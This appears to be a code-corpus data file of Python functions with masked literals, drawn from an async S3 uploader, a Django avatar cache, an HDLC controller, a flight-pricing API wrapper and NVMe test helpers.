{"signature": "async def _upload_file(self, full_path):", "body": "rel_path = os.path.relpath(full_path, self.folder)<EOL>key = s3_key(os.path.join(self.key, rel_path))<EOL>ct = self.content_types.get(key.split('<STR_LIT:.>')[-<NUM_LIT:1>])<EOL>with open(full_path, '<STR_LIT:rb>') as fp:<EOL><INDENT>file = fp.read()<EOL><DEDENT>try:<EOL><INDENT>await self.botocore.upload_file(self.bucket, file, key=key,<EOL>ContentType=ct)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>LOGGER.error('<STR_LIT>', key, exc)<EOL>self.failures[key] = self.all.pop(full_path)<EOL>return<EOL><DEDENT>size = self.all.pop(full_path)<EOL>self.success[key] = size<EOL>self.total_size += size<EOL>percentage = <NUM_LIT:100>*(<NUM_LIT:1> - len(self.all)/self.total_files)<EOL>message = '<STR_LIT>'.format(<EOL>percentage, key, convert_bytes(size))<EOL>LOGGER.info(message)<EOL>", "docstring": "Coroutine for uploading a single file", "id": "f13284:c1:m3"}
{"signature": "def get_paginator(self, operation_name):", "body": "if not self.can_paginate(operation_name):<EOL><INDENT>raise OperationNotPageableError(operation_name=operation_name)<EOL><DEDENT>else:<EOL><INDENT>actual_operation_name = self._PY_TO_OP_NAME[operation_name]<EOL>Paginator.PAGE_ITERATOR_CLS = AsyncPageIterator<EOL>paginator = Paginator(<EOL>getattr(self, operation_name),<EOL>self._cache['<STR_LIT>'][actual_operation_name])<EOL>return paginator<EOL><DEDENT>", "docstring": "Create a paginator for an operation.\n        :type operation_name: string\n        :param operation_name: The operation name.  This is the same name\n            as the method name on the client.  For example, if the\n            method name is ``create_foo``, and you'd normally invoke the\n            operation as ``client.create_foo(**kwargs)``, if the\n            ``create_foo`` operation can be paginated, you can use the\n            call ``client.get_paginator(\"create_foo\")``.\n        :raise OperationNotPageableError: Raised if the operation is not\n            pageable.  You can use the ``client.can_paginate`` method to\n            check if an operation is pageable.\n        :rtype: L{botocore.paginate.Paginator}\n        :return: A paginator object.", "id": "f13289:c1:m3"}
{"signature": "def get_session(env_vars=None):", "body": "return AsyncSession(session_vars=env_vars)<EOL>", "docstring": "Return a new session object.", "id": "f13292:m0"}
{"signature": "def get_cache_key(user_or_username, size, prefix):", "body": "if isinstance(user_or_username, get_user_model()):<EOL><INDENT>user_or_username = user_or_username.username<EOL><DEDENT>return '<STR_LIT>' % (prefix, user_or_username, size)<EOL>", "docstring": "Returns a cache key consisten of a username and image size.", "id": "f13303:m0"}
{"signature": "def cache_result(func):", "body": "def cache_set(key, value):<EOL><INDENT>cache.set(key, value, AVATAR_CACHE_TIMEOUT)<EOL>return value<EOL><DEDENT>def cached_func(user, size):<EOL><INDENT>prefix = func.__name__<EOL>cached_funcs.add(prefix)<EOL>key = get_cache_key(user, size, prefix=prefix)<EOL>return cache.get(key) or cache_set(key, func(user, size))<EOL><DEDENT>return cached_func<EOL>", "docstring": "Decorator to cache the result of functions that take a ``user`` and a\n``size`` value.", "id": "f13303:m1"}
{"signature": "def invalidate_cache(user, size=None):", "body": "sizes = set(AUTO_GENERATE_AVATAR_SIZES)<EOL>if size is not None:<EOL><INDENT>sizes.add(size)<EOL><DEDENT>for prefix in cached_funcs:<EOL><INDENT>for size in sizes:<EOL><INDENT>cache.delete(get_cache_key(user, size, prefix))<EOL><DEDENT><DEDENT>", "docstring": "Function to be called when saving or changing an user's avatars.", "id": "f13303:m2"}
{"signature": "@cache_result<EOL>@register.simple_tag<EOL>def primary_avatar(user, size=AVATAR_DEFAULT_SIZE):", "body": "alt = unicode(user)<EOL>url = reverse('<STR_LIT>', kwargs={'<STR_LIT:user>' : user, '<STR_LIT:size>' : size})<EOL>return \"\"\"<STR_LIT>\"\"\" % (url, alt,<EOL>)<EOL>", "docstring": "This tag tries to get the default avatar for a user without doing any db\nrequests. It achieve this by linking to a special view that will do all the \nwork for us. If that special view is then cached by a CDN for instance,\nwe will avoid many db calls.", "id": "f13306:m2"}
{"signature": "def _get_next(request):", "body": "next = request.POST.get('<STR_LIT>', request.GET.get('<STR_LIT>',<EOL>request.META.get('<STR_LIT>', None)))<EOL>if not next:<EOL><INDENT>next = request.path<EOL><DEDENT>return next<EOL>", "docstring": "The part that's the least straightforward about views in this module is how they\ndetermine their redirects after they have finished computation.\n\nIn short, they will try and determine the next place to go in the following order:\n\n1. If there is a variable named ``next`` in the *POST* parameters, the view will\nredirect to that variable's value.\n2. If there is a variable named ``next`` in the *GET* parameters, the view will\nredirect to that variable's value.\n3. If Django can determine the previous page from the HTTP headers, the view will\nredirect to that previous page.", "id": "f13309:m0"}
{"signature": "def start(self):", "body": "self.receiver = self.Receiver(<EOL>self.read,<EOL>self.write,<EOL>self.send_lock,<EOL>self.senders,<EOL>self.frames_received,<EOL>callback=self.receive_callback,<EOL>fcs_nack=self.fcs_nack,<EOL>)<EOL>self.receiver.start()<EOL>", "docstring": "Starts HDLC controller's threads.", "id": "f13317:c0:m1"}
{"signature": "def stop(self):", "body": "if self.receiver != None:<EOL><INDENT>self.receiver.join()<EOL><DEDENT>for s in self.senders.values():<EOL><INDENT>s.join()<EOL><DEDENT>", "docstring": "Stops HDLC controller's threads.", "id": "f13317:c0:m2"}
{"signature": "def set_send_callback(self, callback):", "body": "if not hasattr(callback, '<STR_LIT>'):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self.send_callback = callback<EOL>", "docstring": "Sets the send callback function.\n\nIf the HDLC controller has already been started, the new\ncallback function will be taken into account for the next\ndata frames to be sent.", "id": "f13317:c0:m3"}
{"signature": "def set_receive_callback(self, callback):", "body": "if not hasattr(callback, '<STR_LIT>'):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self.receive_callback = callback<EOL>", "docstring": "Sets the receive callback function.\n\nThis method has to be called before starting the\nHDLC controller.", "id": "f13317:c0:m4"}
{"signature": "def set_sending_timeout(self, sending_timeout):", "body": "if sending_timeout >= HDLController.MIN_SENDING_TIMEOUT:<EOL><INDENT>self.sending_timeout = sending_timeout<EOL><DEDENT>", "docstring": "Sets the sending timeout.", "id": "f13317:c0:m5"}
{"signature": "def get_senders_number(self):", "body": "return len(self.senders)<EOL>", "docstring": "Returns the number of active senders.", "id": "f13317:c0:m6"}
{"signature": "def send(self, data):", "body": "while len(self.senders) >= self.window:<EOL><INDENT>pass<EOL><DEDENT>self.senders[self.new_seq_no] = self.Sender(<EOL>self.write,<EOL>self.send_lock,<EOL>data,<EOL>self.new_seq_no,<EOL>timeout=self.sending_timeout,<EOL>callback=self.send_callback,<EOL>)<EOL>self.senders[self.new_seq_no].start()<EOL>self.new_seq_no = (self.new_seq_no + <NUM_LIT:1>) % HDLController.MAX_SEQ_NO<EOL>", "docstring": "Sends a new data frame.\n\nThis method will block until a new room is available for\na new sender. This limit is determined by the size of the window.", "id": "f13317:c0:m7"}
{"signature": "def get_data(self):", "body": "return self.frames_received.get()<EOL>", "docstring": "Gets the next frame received.\n\nThis method will block until a new data frame is available.", "id": "f13317:c0:m8"}
{"signature": "def make_request(self, url, method='<STR_LIT>', headers=None,<EOL>data=None, callback=None, errors=STRICT,<EOL>verify=False, timeout=None, **params):", "body": "if '<STR_LIT>' not in url.lower():<EOL><INDENT>params.update({<EOL>'<STR_LIT>': self.api_key<EOL>})<EOL><DEDENT>return super(Flights, self).make_request(url, method, headers,<EOL>data, callback, errors,<EOL>verify, **params)<EOL>", "docstring": "Call the `make_request` method from apiwrapper.\nSo we can inject the apikey when it's not available.", "id": "f13321:c0:m1"}
{"signature": "def create_session(self, **params):", "body": "service_url = self.PRICING_SESSION_URL<EOL>return self.make_request(service_url,<EOL>method='<STR_LIT>',<EOL>headers=self._headers(),<EOL>callback=lambda resp: resp.headers[<EOL>'<STR_LIT:location>'],<EOL>data=params)<EOL>", "docstring": "Create the session\ndate format: YYYY-mm-dd\nlocation: ISO code.\nAfter creating the session,\nthis method will return the poll_url.", "id": "f13321:c0:m2"}
{"signature": "def get_result(self, errors=STRICT, **params):", "body": "service_url = self.create_session(**params)<EOL>return self.poll(service_url, errors=errors)<EOL>", "docstring": "Get all results, no filtering,\netc. by creating and polling the session.", "id": "f13321:c0:m3"}
{"signature": "def make_request(self, url, method='<STR_LIT>', headers=None, data=None,<EOL>callback=None, errors=STRICT, verify=False, timeout=None, **params):", "body": "error_modes = (STRICT, GRACEFUL, IGNORE)<EOL>error_mode = errors or GRACEFUL<EOL>if error_mode.lower() not in error_modes:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>% '<STR_LIT:U+002C>'.join(error_modes))<EOL><DEDENT>if callback is None:<EOL><INDENT>callback = self._default_resp_callback<EOL><DEDENT>request = getattr(requests, method.lower())<EOL>log.debug('<STR_LIT>' % url)<EOL>log.debug('<STR_LIT>' % method)<EOL>log.debug('<STR_LIT>' % params)<EOL>log.debug('<STR_LIT>' % headers)<EOL>log.debug('<STR_LIT>' % timeout)<EOL>r = request(<EOL>url, headers=headers, data=data, verify=verify, timeout=timeout, params=params)<EOL>log.debug('<STR_LIT>' % r.url)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL>return callback(r)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return self._with_error_handling(r, e,<EOL>error_mode, self.response_format)<EOL><DEDENT>", "docstring": "Reusable method for performing requests.\n:param url - URL to request\n:param method - request method, default is 'get'\n:param headers - request headers\n:param data - post data\n:param callback - callback to be applied to response,\n                  default callback will parse response as json object.\n:param errors - specifies communication errors handling mode, possible\n                values are:\n                 * strict (default) - throw an error as soon as one\n                    occurred\n                 * graceful - ignore certain errors, e.g. EmptyResponse\n                 * ignore - ignore all errors and return a result in\n                            any case.\n                            NOTE that it DOES NOT mean that no\n                            exceptions can be\n                            raised from this method, it mostly ignores\n                            communication\n                            related errors.\n                 * None or empty string equals to default\n:param verify - whether or not to verify SSL cert, default to False\n:param timeout - the timeout of the request in second, default to None\n:param params - additional query parameters for request", "id": "f13322:c5:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _with_error_handling(resp, error, mode, response_format):<DEDENT>", "body": "def safe_parse(r):<EOL><INDENT>try:<EOL><INDENT>return APIWrapper._parse_resp(r, response_format)<EOL><DEDENT>except (ValueError, SyntaxError) as ex:<EOL><INDENT>log.error(ex)<EOL>r.parsed = None<EOL>return r<EOL><DEDENT><DEDENT>if isinstance(error, requests.HTTPError):<EOL><INDENT>if resp.status_code == <NUM_LIT>:<EOL><INDENT>resp = safe_parse(resp)<EOL>if resp.parsed is not None:<EOL><INDENT>parsed_resp = resp.parsed<EOL>messages = []<EOL>if response_format == '<STR_LIT>' andparsed_resp.find('<STR_LIT>') is not None:<EOL><INDENT>messages = [e.find('<STR_LIT>').text<EOL>for e in parsed_resp.findall('<STR_LIT>')]<EOL><DEDENT>elif response_format == '<STR_LIT>' and '<STR_LIT>' in parsed_resp:<EOL><INDENT>messages = [e['<STR_LIT>']<EOL>for e in parsed_resp['<STR_LIT>']]<EOL><DEDENT>error = requests.HTTPError(<EOL>'<STR_LIT>' % (error, '<STR_LIT>'.join(messages)), response=resp)<EOL><DEDENT><DEDENT>elif resp.status_code == <NUM_LIT>:<EOL><INDENT>error = requests.HTTPError('<STR_LIT>' % error,<EOL>response=resp)<EOL><DEDENT><DEDENT>if STRICT == mode:<EOL><INDENT>raise error<EOL><DEDENT>elif GRACEFUL == mode:<EOL><INDENT>if isinstance(error, EmptyResponse):<EOL><INDENT>log.warning(error)<EOL>resp.parsed = None<EOL>return resp<EOL><DEDENT>elif isinstance(error, requests.HTTPError):<EOL><INDENT>if resp.status_code == <NUM_LIT>:    <EOL><INDENT>log.warning(error)<EOL>return safe_parse(resp)<EOL><DEDENT>else:<EOL><INDENT>raise error<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise error<EOL><DEDENT><DEDENT>else:<EOL><INDENT>log.error(error)<EOL>return safe_parse(resp)<EOL><DEDENT>", "docstring": "Static method for error handling.\n\n:param resp - API response\n:param error - Error thrown\n:param mode - Error mode\n:param response_format - XML or json", "id": "f13322:c5:m5"}
{"signature": "def poll(self, url, initial_delay=<NUM_LIT:2>, delay=<NUM_LIT:1>, tries=<NUM_LIT:20>, errors=STRICT, is_complete_callback=None, **params):", "body": "time.sleep(initial_delay)<EOL>poll_response = None<EOL>if is_complete_callback == None:<EOL><INDENT>is_complete_callback = self._default_poll_callback<EOL><DEDENT>for n in range(tries):<EOL><INDENT>poll_response = self.make_request(url, headers=self._headers(),<EOL>errors=errors, **params)<EOL>if is_complete_callback(poll_response):<EOL><INDENT>return poll_response<EOL><DEDENT>else:<EOL><INDENT>time.sleep(delay)<EOL><DEDENT><DEDENT>if STRICT == errors:<EOL><INDENT>raise ExceededRetries(<EOL>\"<STR_LIT>\".format(tries))<EOL><DEDENT>else:<EOL><INDENT>return poll_response<EOL><DEDENT>", "docstring": "Poll the URL\n:param url - URL to poll, should be returned by 'create_session' call\n:param initial_delay - specifies how many seconds to wait before the first poll\n:param delay - specifies how many seconds to wait between the polls\n:param tries - number of polls to perform\n:param errors - errors handling mode, see corresponding parameter in 'make_request' method\n:param params - additional query params for each poll request", "id": "f13322:c5:m6"}
{"signature": "def _default_poll_callback(self, poll_resp):", "body": "if poll_resp.parsed is None:<EOL><INDENT>return False<EOL><DEDENT>success_list = ['<STR_LIT>', True, '<STR_LIT>']<EOL>status = None<EOL>if self.response_format == '<STR_LIT>':<EOL><INDENT>status = poll_resp.parsed.find('<STR_LIT>').text<EOL><DEDENT>elif self.response_format == '<STR_LIT>':<EOL><INDENT>status = poll_resp.parsed.get(<EOL>'<STR_LIT>', poll_resp.parsed.get('<STR_LIT:status>'))<EOL><DEDENT>if status is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return status in success_list<EOL>", "docstring": "Checks the condition in poll response to determine if it is complete\nand no subsequent poll requests should be done.", "id": "f13322:c5:m7"}
{"signature": "def cls_factory(cname):", "body": "class Foo(MetaTest):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>pass<EOL><DEDENT>Foo.__name__ = cname<EOL>return Foo<EOL>", "docstring": "Constructs a class named `cname` inheriting from `MetaTest`.", "id": "f13326:m0"}
{"signature": "def produce_classes(search_path, suite_name):", "body": "classes = {}<EOL>suite_fname = \"<STR_LIT>\" % suite_name<EOL>suite_path = os.sep.join([CIJ_ROOT, \"<STR_LIT>\", suite_fname])<EOL>suite = open(suite_path).read().splitlines() if suite_name else []<EOL>listing = tindex(search_path)<EOL>if listing is None:<EOL><INDENT>return {}<EOL><DEDENT>tests = suite if suite else listing<EOL>if not tests:<EOL><INDENT>return {}<EOL><DEDENT>cname = \"<STR_LIT>\"<EOL>if suite:<EOL><INDENT>cname += suite_name.capitalize()<EOL><DEDENT>cls = cls_factory(cname)<EOL>for test in tests:              <EOL><INDENT>tname = \"<STR_LIT>\" % test.replace(\"<STR_LIT>\", \"<STR_LIT>\").replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>setattr(cls, tname, cls.meta_test)<EOL>classes[cname] = cls<EOL><DEDENT>return classes<EOL>", "docstring": "Construct a class with a name picked up by test-collection", "id": "f13326:m1"}
{"signature": "def get_descriptor_table(version=\"<STR_LIT>\"):", "body": "if version == \"<STR_LIT>\":<EOL><INDENT>return DescriptorTableDenali<EOL><DEDENT>elif version == \"<STR_LIT>\":<EOL><INDENT>return DescriptorTableSpec20<EOL><DEDENT>elif version == \"<STR_LIT>\":<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Get descriptor table by version(denali, spec20)", "id": "f13328:m0"}
{"signature": "def get_sizeof_descriptor_table(version=\"<STR_LIT>\"):", "body": "if version == \"<STR_LIT>\":<EOL><INDENT>return sizeof(DescriptorTableDenali)<EOL><DEDENT>elif version == \"<STR_LIT>\":<EOL><INDENT>return sizeof(DescriptorTableSpec20)<EOL><DEDENT>elif version == \"<STR_LIT>\":<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Get sizeof DescriptorTable", "id": "f13328:m1"}
{"signature": "def cat_file(path):", "body": "cmd = [\"<STR_LIT>\", path]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True, echo=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % path)<EOL><DEDENT>return stdout.strip()<EOL>", "docstring": "Cat file and return content", "id": "f13330:m0"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(PREFIX, REQUIRED)<EOL>nvme[\"<STR_LIT>\"] = os.path.join(\"<STR_LIT>\", nvme[\"<STR_LIT>\"])<EOL>try:<EOL><INDENT>sysfs = os.path.join(\"<STR_LIT>\", nvme[\"<STR_LIT>\"], \"<STR_LIT>\")<EOL>nvme[\"<STR_LIT>\"] = cat_file(os.path.join(sysfs, \"<STR_LIT:version>\"))<EOL>if nvme[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>luns = \"<STR_LIT>\"<EOL>chs = \"<STR_LIT>\"<EOL><DEDENT>elif nvme[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>luns = \"<STR_LIT>\"<EOL>chs = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % nvme[\"<STR_LIT>\"])<EOL><DEDENT>nvme[\"<STR_LIT>\"] = cat_file(os.path.join(sysfs, \"<STR_LIT>\"))<EOL>nvme[\"<STR_LIT>\"] = cat_file(os.path.join(sysfs, luns))<EOL>nvme[\"<STR_LIT>\"] = cat_file(os.path.join(sysfs, chs))<EOL>nvme[\"<STR_LIT>\"] = str(int(nvme[\"<STR_LIT>\"]) * int(nvme[\"<STR_LIT>\"]))<EOL>nvme[\"<STR_LIT>\"] = str(int(nvme[\"<STR_LIT>\"]) * int(nvme[\"<STR_LIT>\"]))<EOL>if nvme[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", nvme[\"<STR_LIT>\"], \"<STR_LIT>\"]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>buff = cij.bin.Buffer(types=IdentifyCDS, length=<NUM_LIT:1>)<EOL>buff.memcopy(stdout)<EOL>if buff[<NUM_LIT:0>].VS[<NUM_LIT>] == <NUM_LIT>:<EOL><INDENT>nvme[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>nvme[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>nvme[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>nvme[\"<STR_LIT>\"] = str(get_sizeof_descriptor_table(nvme[\"<STR_LIT>\"]))<EOL>nvme[\"<STR_LIT>\"] = str(int(nvme[\"<STR_LIT>\"]) *<EOL>int(nvme[\"<STR_LIT>\"]))<EOL><DEDENT>except StandardError:<EOL><INDENT>traceback.print_exc()<EOL>return <NUM_LIT:1><EOL><DEDENT>cij.env_export(PREFIX, EXPORTED, nvme)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify NVME variables and construct exported variables", "id": "f13330:m1"}
{"signature": "def fmt(lbaf=<NUM_LIT:3>):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", nvme[\"<STR_LIT>\"], \"<STR_LIT>\", str(lbaf)]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return rcode<EOL>", "docstring": "Do format for NVMe device", "id": "f13330:m2"}
{"signature": "def exists():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", nvme[\"<STR_LIT>\"], \"<STR_LIT>\"]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>if rcode:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Verify that the ENV defined NVMe device exists", "id": "f13330:m3"}
{"signature": "def get_meta(offset, length, output):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>max_size = <NUM_LIT><EOL>with open(output, \"<STR_LIT:wb>\") as fout:<EOL><INDENT>for off in range(offset, length, max_size):<EOL><INDENT>size = min(length - off, max_size)<EOL>cmd = [\"<STR_LIT>\",<EOL>nvme[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" % off,<EOL>\"<STR_LIT>\" % size,<EOL>\"<STR_LIT>\"]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>fout.write(stdout)<EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Get chunk meta of NVMe device", "id": "f13330:m4"}
{"signature": "def comp_meta(file_bef, file_aft, mode=\"<STR_LIT>\"):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>num_chk = int(nvme[\"<STR_LIT>\"])<EOL>meta_bef = cij.bin.Buffer(types=get_descriptor_table(nvme['<STR_LIT>']), length=num_chk)<EOL>meta_aft = cij.bin.Buffer(types=get_descriptor_table(nvme['<STR_LIT>']), length=num_chk)<EOL>meta_bef.read(file_bef)<EOL>meta_aft.read(file_aft)<EOL>for chk in range(num_chk):<EOL><INDENT>ignore = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>if mode == \"<STR_LIT>\" and meta_bef[chk].CS == <NUM_LIT:4>:<EOL><INDENT>ignore.append(\"<STR_LIT>\")<EOL><DEDENT>if meta_bef.compare(meta_aft, chk, ignore=ignore):<EOL><INDENT>cij.warn(\"<STR_LIT>\" % chk)<EOL>meta_bef.dump(chk)<EOL>cij.warn(\"<STR_LIT>\" % chk)<EOL>meta_aft.dump(chk)<EOL>cij.err(\"<STR_LIT>\" % chk)<EOL>return <NUM_LIT:1><EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Compare chunk meta, mode=[pfail, power, reboot]", "id": "f13330:m5"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvm = cij.env_to_dict(PREFIX, REQUIRED)<EOL>if \"<STR_LIT>\" in nvm[\"<STR_LIT>\"]:<EOL><INDENT>nvm[\"<STR_LIT>\"] = \"<STR_LIT>\" % nvm[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>nvm[\"<STR_LIT>\"] = \"<STR_LIT>\" % nvm[\"<STR_LIT>\"]<EOL><DEDENT>cij.env_export(PREFIX, EXPORTED, nvm)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify NVME variables and construct exported variables", "id": "f13331:m0"}
{"signature": "def exists():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvm = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cmd = ['<STR_LIT>' % nvm[\"<STR_LIT>\"]]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>return rcode<EOL>", "docstring": "Verify that the ENV defined NVMe device exists", "id": "f13331:m1"}
{"signature": "def dev_get_rprt(dev_name, pugrp=None, punit=None):", "body": "cmd = [\"<STR_LIT>\", \"<STR_LIT>\", dev_name]<EOL>if not (pugrp is None and punit is None):<EOL><INDENT>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", dev_name, str(pugrp), str(punit)]<EOL><DEDENT>_, _, _, struct = cij.test.command_to_struct(cmd)<EOL>if not struct:<EOL><INDENT>return None<EOL><DEDENT>return struct[\"<STR_LIT>\"]<EOL>", "docstring": "Get-log-page chunk information\n\nIf the pugrp and punit is set, then provide report only for that pugrp/punit\n\n@returns the first chunk in the given state if one exists, None otherwise", "id": "f13331:m2"}
{"signature": "def dev_get_chunk(dev_name, state, pugrp=None, punit=None):", "body": "rprt = dev_get_rprt(dev_name, pugrp, punit)<EOL>if not rprt:<EOL><INDENT>return None<EOL><DEDENT>return next((d for d in rprt if d[\"<STR_LIT>\"] == state), None)<EOL>", "docstring": "Get a chunk-descriptor for the first chunk in the given state.\n\nIf the pugrp and punit is set, then search only that pugrp/punit\n\n@returns the first chunk in the given state if one exists, None otherwise", "id": "f13331:m3"}
{"signature": "@staticmethod<EOL><INDENT>def get_chunk_status(chk, yml):<DEDENT>", "body": "cs = yml['<STR_LIT>'][chk]['<STR_LIT>']<EOL>return cs<EOL>", "docstring": "Get item of chunk meta table", "id": "f13332:c0:m2"}
{"signature": "def get_chunk_information(self, chk, lun, chunk_name):", "body": "cmd = [\"<STR_LIT>\", self.envs,<EOL>\"<STR_LIT>\" % (chk, lun, chunk_name)]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "Get chunk information", "id": "f13332:c0:m3"}
{"signature": "def is_bad_chunk(self, chk, yml):", "body": "cs = self.get_chunk_status(chk, yml)<EOL>if cs >= <NUM_LIT:8>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is offline or not", "id": "f13332:c0:m4"}
{"signature": "def is_free_chunk(self, chk):", "body": "cs = self.get_chunk_status(chk)<EOL>if cs & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is free or not", "id": "f13332:c0:m5"}
{"signature": "def is_closed_chunk(self, chk):", "body": "cs = self.get_chunk_status(chk)<EOL>if cs & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is free or not", "id": "f13332:c0:m6"}
{"signature": "def is_open_chunk(self, chk):", "body": "cs = self.get_chunk_status(chk)<EOL>if cs & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is free or not", "id": "f13332:c0:m7"}
{"signature": "def s20_to_gen(self, pugrp, punit, chunk, sectr):", "body": "cmd = [\"<STR_LIT>\", self.envs,<EOL>\"<STR_LIT>\" % (pugrp, punit, chunk, sectr)]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return int(re.findall(r\"<STR_LIT>\", stdout)[<NUM_LIT:0>], <NUM_LIT:16>)<EOL>", "docstring": "S20 unit to gen address", "id": "f13332:c0:m8"}
{"signature": "def gen_to_dev(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT>\".format(address)]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return int(re.findall(r\"<STR_LIT>\", stdout)[<NUM_LIT:0>], <NUM_LIT:16>)<EOL>", "docstring": "Generic address to device address", "id": "f13332:c0:m9"}
{"signature": "def dev_to_gen(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT>\".format(address)]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return int(re.findall(r\"<STR_LIT>\", stdout)[<NUM_LIT:0>], <NUM_LIT:16>)<EOL>", "docstring": "Generic address to device address", "id": "f13332:c0:m10"}
{"signature": "def vblk_erase(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT>\" % address]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_vblk erase", "id": "f13332:c0:m11"}
{"signature": "def vblk_write(self, address, file_name=None):", "body": "cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT>\" % address]<EOL>if file_name:<EOL><INDENT>cmd += [\"<STR_LIT>\".format(file_name)]<EOL><DEDENT>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_vblk write", "id": "f13332:c0:m12"}
{"signature": "def vblk_read(self, address, file_name=None):", "body": "cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT>\" % address]<EOL>if file_name:<EOL><INDENT>cmd += [\"<STR_LIT>\".format(file_name)]<EOL><DEDENT>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_vblk read", "id": "f13332:c0:m13"}
{"signature": "def vector_erase(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT>\" % address]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "vector erase", "id": "f13332:c0:m14"}
